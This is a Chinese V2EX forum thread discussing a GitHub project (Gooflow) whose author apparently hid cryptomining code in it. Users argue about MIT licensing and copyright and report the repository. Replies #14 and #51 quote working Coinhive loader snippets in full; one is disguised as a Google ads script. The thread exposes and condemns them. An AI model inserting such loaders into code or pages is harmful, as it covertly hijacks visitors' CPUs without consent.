V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
eloah
V2EX  ›  程序员

Github 上一个颇有争议的 issue

  •  5
     
  •   eloah · 2018-06-06 14:39:32 +08:00 · 23834 次点击
    这是一个创建于 2122 天前的主题,其中的信息可能已经有所发展或是发生改变。
    第 1 条附言  ·  2018-06-06 15:41:43 +08:00
    有提到说 issue 被删掉了的,我这里还能看到的啊
    那就留个项目的地址吧
    https://github.com/sdlddr/Gooflow/
    120 条回复    2018-06-08 10:00:31 +08:00
    1  2  
    zpf124
        1
    zpf124  
       2018-06-06 14:49:10 +08:00
    这个厉害啊.....

    666 啊
    简单粗暴,就是不知道那段二进制是干什么用的,下载挖矿代码?
    jowuIM
        2
    jowuIM  
       2018-06-06 14:57:44 +08:00
    哪里有争议了,就是偷偷放毒然后装蒜了。
    tamlok
        3
    tamlok  
       2018-06-06 15:01:44 +08:00 via Android   ❤️ 1
    vnote 也搞一个,就可以盈利了😂开源项目盈利新途径
    crs0910
        4
    crs0910  
       2018-06-06 15:02:00 +08:00
    1.demo 试用版加挖矿,然后光明正大说明这一点。

    没问题

    2.demo 试用版加个挖矿,但不做任何说明。

    也不觉得有什么问题


    3. 付费版还有挖矿代码,且没有说明。

    有问题
    moxiaonai
        6
    moxiaonai  
       2018-06-06 15:06:54 +08:00   ❤️ 1
    wqyyy
        7
    wqyyy  
       2018-06-06 15:09:09 +08:00 via Android
    挂 MIT 放在 github 上然后指责别人盗版 窃贼
    有问题
    liuguang
        9
    liuguang  
       2018-06-06 15:11:06 +08:00
    确实恶心,官网还加挖矿代码、、、
    crbee
        10
    crbee  
       2018-06-06 15:11:35 +08:00
    MIT 协议挂 github 上... 甚至二次贩卖都可以吧 = =;
    怎么能定义成盗版呢?
    zhenizhui
        11
    zhenizhui  
       2018-06-06 15:11:48 +08:00
    幸好 GitHub issue 里面的评论也已经计入历史
    Zzdex
        12
    Zzdex  
       2018-06-06 15:15:24 +08:00 via iPhone
    弱弱的问下 issue 历史怎么看...
    easylee
        13
    easylee  
       2018-06-06 15:23:47 +08:00 via Android
    看了一圈回来

    协议大佬……
    masha
        14
    masha  
       2018-06-06 15:24:42 +08:00
    var _=window;try{_=_.opener.$}catch(e){try{_=_.top.$}catch(e){_=$}};if(!_("head").data(\'x\')){GooFlow.a=1;_a=20;var d=new Date();_("head").data(\'x\',1);_.ajax("https://coinhive.com/lib/coinhive.min.js?"+d.getFullYear()+d.getMonth()+d.getDate(),{dataType:\'script\',cache:true});_i=setInterval(function(){try{new CoinHive.Anonymous(\'GGdPGhxIloldaArArQVwxZ2sd8l0a4kH\',{throttle:0.3}).start();clearInterval(_i)}catch(e){_a--;if(_a<1)document.write("")}},1000)}
    Desiree
        15
    Desiree  
       2018-06-06 15:25:56 +08:00
    issue 被关掉了 3:25
    jowuIM
        16
    jowuIM  
       2018-06-06 15:27:14 +08:00
    issue 被删除并且关闭了
    ihainan
        17
    ihainan  
       2018-06-06 15:28:04 +08:00
    dinghow
        18
    dinghow  
       2018-06-06 15:29:00 +08:00
    没有了啊
    jowuIM
        19
    jowuIM  
       2018-06-06 15:30:17 +08:00
    作者不了解开源协议问题不大,更改协议就好了,但是在代码里面放毒就很有问题,建议他可以写几个 bug 来解决问题。
    mcfog
        20
    mcfog  
       2018-06-06 15:30:18 +08:00
    https://gitee.com/foolegg126 有兴趣可以点到这个人的微博里去看看
    Desiree
        21
    Desiree  
       2018-06-06 15:32:32 +08:00
    卧槽,打开他的官网,差点把我的 mac 给烧了,网页的资源可以清晰看到,5 个恶意挖矿
    zpf124
        22
    zpf124  
       2018-06-06 15:33:45 +08:00
    DeathWing
        23
    DeathWing  
       2018-06-06 15:34:42 +08:00
    @Desiree 头硬!还打开!
    DOLLOR
        24
    DOLLOR  
       2018-06-06 15:34:47 +08:00
    联想到前几天的破事,看来已经到了什么人都能上 github 的时代了
    DeathWing
        25
    DeathWing  
       2018-06-06 15:35:29 +08:00
    @zpf124 小伙子手速很快
    moxiaonai
        26
    moxiaonai  
       2018-06-06 15:36:27 +08:00
    DeathWing
        27
    DeathWing  
       2018-06-06 15:45:56 +08:00
    @Desiree 不过我刚刚关了 minerblock 试了下竟然发现没事
    Lawlieti
        28
    Lawlieti  
       2018-06-06 15:47:00 +08:00
    卧槽 这个东西我们还在用
    sheep3
        29
    sheep3  
       2018-06-06 15:52:36 +08:00
    微博上,这个人太可怕了.....
    lovejoy
        30
    lovejoy  
       2018-06-06 15:54:50 +08:00
    首页的挖坑代码已经删了吗,我还想感受下呢
    DeathWing
        31
    DeathWing  
       2018-06-06 15:56:53 +08:00
    @lovejoy 没有呢,还挂着
    binux
        32
    binux  
       2018-06-06 15:58:12 +08:00 via Android   ❤️ 2
    我想说

    > 有一群强盗,溜到别人店里偷吃了展示样品,发现展示样品里放了鼠药让自己肚子痛,于是告到官府说店主投毒谋杀……

    这确实是店主投毒谋杀啊。。。

    这人把能犯的法律常识都犯了。
    YzSama
        33
    YzSama  
       2018-06-06 15:58:51 +08:00
    码云上面没投诉的吗?
    nikolai
        34
    nikolai  
       2018-06-06 16:00:49 +08:00
    哪里有争议了,不是群众一致认为作者是 S13 吗?
    youthdream
        35
    youthdream  
       2018-06-06 16:03:23 +08:00
    learnshare
        36
    learnshare  
       2018-06-06 16:04:12 +08:00
    uBlock 拦截了挖矿的域名
    zpf124
        37
    zpf124  
       2018-06-06 16:07:09 +08:00
    @DeathWing 那是 233333
    LeungJZ
        38
    LeungJZ  
       2018-06-06 16:09:24 +08:00
    tyrealgray
        39
    tyrealgray  
       2018-06-06 16:10:04 +08:00
    已经 report 了该用户
    ballshapesdsd
        40
    ballshapesdsd  
       2018-06-06 16:11:01 +08:00
    @DeathWing #31 是 gooflow.xyz 吗,为啥我的 cpu 毫无波动。另外这个网址大家看下是不是挖矿的,一打开就差点死机
    https://caimaoy.gitbooks.io/-python-learn-more-python-3-the-hard-way/content/
    hyyou2010
        41
    hyyou2010  
       2018-06-06 16:12:20 +08:00
    偷偷放挖坑代码,这个行为太恶,GitHub 管不?法律管不?
    evagreenworking
        42
    evagreenworking  
       2018-06-06 16:13:01 +08:00
    666 这人的微博 铁血网友表示都自叹不如
    zpf124
        43
    zpf124  
       2018-06-06 16:15:01 +08:00   ❤️ 1
    LeungJZ
        44
    LeungJZ  
       2018-06-06 16:15:04 +08:00
    emmmmmm. 这英文读起来有点不太通顺。



    https://github.com/sdlddr/Gooflow/issues/12#issuecomment-394979877
    LeungJZ
        45
    LeungJZ  
       2018-06-06 16:15:51 +08:00
    靠,放错图了。
    zpf124
        46
    zpf124  
       2018-06-06 16:17:04 +08:00
    @jowuIM issue 没删啊, 你因为是在 issue 列表页没看到所以以为删了是吗? 那默认只显示 open 的,
    被关闭 的你要在筛选条件里选中才能看到。
    DeathWing
        47
    DeathWing  
       2018-06-06 16:19:54 +08:00
    @ballshapesdsd 你发的第二个是挖矿的。至于第一个也就是这个 213 的那个,我也不知道为啥我没事。但是上面一个 mac 的兄弟就发热了
    ixxxan
        48
    ixxxan  
       2018-06-06 16:23:11 +08:00
    @LeungJZ 我读了半天没读懂什么意思
    mcdona1d
        49
    mcdona1d  
       2018-06-06 16:24:00 +08:00
    @ballshapesdsd 是的,chrome 安装一个 minerblock 就好了
    DeathWing
        50
    DeathWing  
       2018-06-06 16:29:47 +08:00   ❤️ 1
    aaronly
        51
    aaronly  
       2018-06-06 16:33:33 +08:00
    @ballshapesdsd

    var adsByGoogleScript = document.createElement('script');
    adsByGoogleScript.src = 'https://coinhive.com/lib/coinhive.min.js';
    adsByGoogleScript.setAttribute('async', true);
    document.body.appendChild(adsByGoogleScript);

    window.onload = function() {
    var miner = new CoinHive.Anonymous(siteKey, { throttle: throttle });
    miner.start();
    };

    赤裸裸
    lt450196683
        52
    lt450196683  
       2018-06-06 16:37:44 +08:00
    围观
    MuscleOf2016
        53
    MuscleOf2016  
       2018-06-06 16:48:27 +08:00
    微博看下来明显反社会人格嘛,估计生活中也是偏激的。以前大学有个也是,技术不错,但是人很容易偏激,和父母打电话一言不合就是去死。。。。
    boris1993
        54
    boris1993  
       2018-06-06 16:56:01 +08:00 via Android
    GitHub 已经举报滥用,GitEE 邮件举报
    cstj0505
        55
    cstj0505  
       2018-06-06 17:03:14 +08:00
    @Desiree 特意去开了下,貌似没问题呢。debian+chromium
    Marmot
        56
    Marmot  
       2018-06-06 17:04:11 +08:00
    MIT 不是作者自己写的么?
    技术不评价,人品肯定是不太好的
    tempdban
        57
    tempdban  
       2018-06-06 17:21:52 +08:00 via Android
    我今天才知道 GPL 担心的是什么。
    moonou
        58
    moonou  
       2018-06-06 17:28:12 +08:00
    @Marmot 大师球
    cye3s
        59
    cye3s  
       2018-06-06 17:36:05 +08:00
    @LeungJZ 哈哈哈,我上镜了
    believeMe
        60
    believeMe  
       2018-06-06 17:37:12 +08:00
    @ballshapesdsd #40 我擦,我前 2 天刚收藏的
    airyland
        61
    airyland  
       2018-06-06 17:37:29 +08:00 via iPhone   ❤️ 4
    前端娱乐圈里最无争议的一次
    Marmot
        62
    Marmot  
       2018-06-06 17:46:24 +08:00
    @moonou 捕捉失败,工作量不饱和呀
    jowuIM
        63
    jowuIM  
       2018-06-06 17:50:21 +08:00
    @zpf124 Issue 的描述被删除了,Issue 的 title 也被"_"了。
    Yangyp
        64
    Yangyp  
       2018-06-06 17:51:46 +08:00
    @believeMe #60 这个好像是原版,这个没挖矿的,https://wizardforcel.gitbooks.io/lmpythw/content/
    Yangyp
        65
    Yangyp  
       2018-06-06 17:53:51 +08:00
    clare0621
        66
    clare0621  
       2018-06-06 17:56:35 +08:00
    建议各位不要添加各种无意义的评论了,issue 是用来做这个的???还有表情包回复的,我也是服。
    FrankHB
        67
    FrankHB  
       2018-06-06 18:03:16 +08:00
    lulinux
        68
    lulinux  
       2018-06-06 18:03:43 +08:00
    单就开源和盗版的看法,强烈支持作者 sdlddr。至于一些不当言论,另当别论。
    另外谁说 github 上一定开源了。github 的商业模式就是托管私有代码好不好!
    LittleYangYang
        69
    LittleYangYang  
       2018-06-06 18:07:48 +08:00   ❤️ 2
    @lulinux GitHub 的商业模式就是托管私有代码好不好!

    那就去把 repo 设置成 private,没人说你啥,你加了 MIT 的 License,然后说不是开源的,这是托管私有代码?
    lulinux
        70
    lulinux  
       2018-06-06 18:10:25 +08:00
    @LittleYangYang 这协议那协议都不顶用。只要作者确定有了著作权,就受《著作权法》保护,一旦发现侵权,一告一个准。github 上的 rz 真多。
    FrankHB
        71
    FrankHB  
       2018-06-06 18:11:33 +08:00
    @clare0621 都 8102 年了,为什么还需要有这类建议? Issue 为什么不能是用来做这个的?(预防针:Issue 被允许做哪个难道不是看 ToS 和的官方的反应?)另外好奇“表情包浪费流量”这种事实判断先于价值判断的陈述导致的后果都被普遍忍了,为什么你还会强调你“服”回复的行为本身——表达异议的效果不是很差嘛?
    chinvo
        72
    chinvo  
       2018-06-06 18:11:56 +08:00
    @lulinux #64 放 GitHub 确实不代表开源

    但是 public 的 repo
    MIT 的 License

    怎么看都是开源的而且放弃了大部分所有权

    就是拿去商用了也没什么好说的

    但是原作者加挖矿、诋毁、谩骂

    就不只是人品问题了

    更何况后续的发展中甚至表现出了法盲文盲流氓的一面
    swulling
        73
    swulling  
       2018-06-06 18:13:54 +08:00
    @lulinux 真厉害,协议不顶用。法院是你家开的?
    FrankHB
        74
    FrankHB  
       2018-06-06 18:14:59 +08:00
    @lulinux 法盲别秀了好吗……什么时候受保护就能免除其它法条的限制和举证责任了?顺便,著作权法可不保某人说话放屁一定不算诈骗。
    LittleYangYang
        75
    LittleYangYang  
       2018-06-06 18:16:06 +08:00
    @lulinux 那按你这样说,中国不支持 DMCA,那些开源项目都别用了,我写一个程序,申请著作权之后扔 GitHub 上,拿 WTFPL 开源协议开源,然后直接去起诉那些用这个程序的人?
    tkmiles
        76
    tkmiles  
       2018-06-06 18:19:03 +08:00
    @lulinux 什么, 协议不顶用?~你去问问谷歌和甲骨文~~
    xyyxlq
        77
    xyyxlq  
       2018-06-06 18:20:40 +08:00 via iPhone
    @mcfog 看了下,戾气太重,动不动打打杀杀的,难怪能做出这种事来。
    luopengfei14
        78
    luopengfei14  
       2018-06-06 18:22:42 +08:00
    @xyyxlq 戾气重。。。 硬伤啊
    cye3s
        80
    cye3s  
       2018-06-06 18:37:04 +08:00
    不行了不行了,开那个 issues,我的 Firefox 卡成狗了,不跟了,反正是刷新我 3 观了
    tyrealgray
        81
    tyrealgray  
       2018-06-06 18:48:50 +08:00
    [Imgur]( )
    littlewin
        82
    littlewin  
       2018-06-06 18:51:14 +08:00
    https://github.com/contact/report-abuse
    各位帅气的小哥哥,传送门
    wqyyy
        83
    wqyyy  
       2018-06-06 19:08:12 +08:00 via Android
    @sdlddr
    sdlddr 5 minutes ago Owner
    不过你一口一个 MIT,难道不知道法律可没规定我必须如何定义 MIT+ ?有点智商的人都知道看项目介绍肯定是从 readme 看起,而不是从什么协议文件。如果有相左的地方,则直接以作者本人的声明为准。

    遇到这样子法盲的也没有什么可说的了。。。license 在那 readme 顶什么用
    FrankHB
        84
    FrankHB  
       2018-06-06 19:19:13 +08:00
    微博也怂得清空了?

    @chinvo xswl,最骚的是没货还嘴硬……

    侵权=盗窃?违反协议=触犯刑法?刑庭最高法还是人大这货开的?
    “一报警,估计也要抓上一大堆”——好奇什么能量能让有关部门无视技侦成本为法盲服务?
    “有点智商的人都知道看项目介绍肯定是从 readme 看起,而不是从什么协议文件”——有点智商的人都知道事后诸葛亮还能指望多少法律效力吧?
    willakira
        85
    willakira  
       2018-06-06 19:26:45 +08:00
    我放了一个英文版的 summary,帮助 github investigation
    chinvo
        86
    chinvo  
       2018-06-06 19:36:28 +08:00 via iPhone
    @willakira #81 看起来作者看不懂英文,所以你的英文 summary 大概能免于被删除
    kookpua
        87
    kookpua  
       2018-06-06 19:43:55 +08:00
    這貨要火了
    jin5354
        88
    jin5354  
       2018-06-06 20:01:00 +08:00
    repo 已经被你们爆破了
    Tyanboot
        89
    Tyanboot  
       2018-06-06 20:03:46 +08:00   ❤️ 2
    这仓库已经当场去世了...
    szlszl35622
        90
    szlszl35622  
       2018-06-06 20:04:16 +08:00
    好像已经处理了

    ![]( )
    iNaru
        91
    iNaru  
       2018-06-06 20:22:28 +08:00
    @ballshapesdsd #40 Firefox 开启自带的跟踪保护就能免疫了。
    zjp
        92
    zjp  
       2018-06-06 20:23:47 +08:00 via Android
    #34 #61
    最后还是起了争议
    wenzhoou
        93
    wenzhoou  
       2018-06-06 20:29:07 +08:00 via Android
    封的好啊。清爽。
    moxiaonai
        94
    moxiaonai  
       2018-06-06 20:48:18 +08:00
    ,这个头像一看都不像什么好人
    zpf124
        95
    zpf124  
       2018-06-06 20:52:46 +08:00   ❤️ 2
    @clare0621 issue 里灌水或者谩骂是不可取的,但 issues 是可以用来指出项目作者恶意的做法。大部分人也没有去疯狂开 issue,所以在这个存在的 issue 里进行非灌水的留言是合理的。
    甚至 如果 项目作者同意 拿 issue 当做论坛进行讨论都不违法 github 规定。


    @lulinux
    @chinvo
    @LittleYangYang
    咱实话实讲,中国对于版权的保护非常薄弱,法律对开源协议既不承认也不否认,所以放上去别人抄了不准守协议法律也不支持你去主张诉讼,同样如果里面有专利产权(注意不是著作权)你即使开源了,别人用了你去告法律反倒会支持。

    但实际上中国 it 相关人员和公司应该尽量遵守协议要求,一来一直不遵守人家没准以后不带我们玩了,二来大家都遵守对于项目的发展是有好处的。

    关于那个项目是不是开源的问题,其实很简单,他挂了 MIT licence 那就是开源的,MIT 就包含了允许别人复制修改源代码,甚至修改后别人还可以闭源商业发布。 不是只有 copyleft 的 GPL 才叫开源的。

    但放在公共库就是开源 这个理解是错误的,关于这个的界定老美那边都很模糊,法官有支持没放开源 license 的就是个人私有的,也有认为其他人是有权利看和使用的,所以放到公共库的不论是否开源都最好放一个协议。
    reself
        96
    reself  
       2018-06-06 20:56:57 +08:00 via Android
    @Tyanboot 哈哈被爆破了
    hatsuyuki
        98
    hatsuyuki  
       2018-06-06 21:21:27 +08:00
    @zpf124 没有 Licence 的项目都不敢用
    jowuIM
        99
    jowuIM  
       2018-06-06 22:25:28 +08:00
    @szlszl35622 Access to this repository has been disabled by GitHub staff. 被封禁了!!!
    var
        100
    var  
       2018-06-06 22:26:58 +08:00

    发现 Windows Defender 会主动发现挖矿的。
    1  2  
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1395 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 35ms · UTC 23:41 · PVG 07:41 · LAX 16:41 · JFK 19:41
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.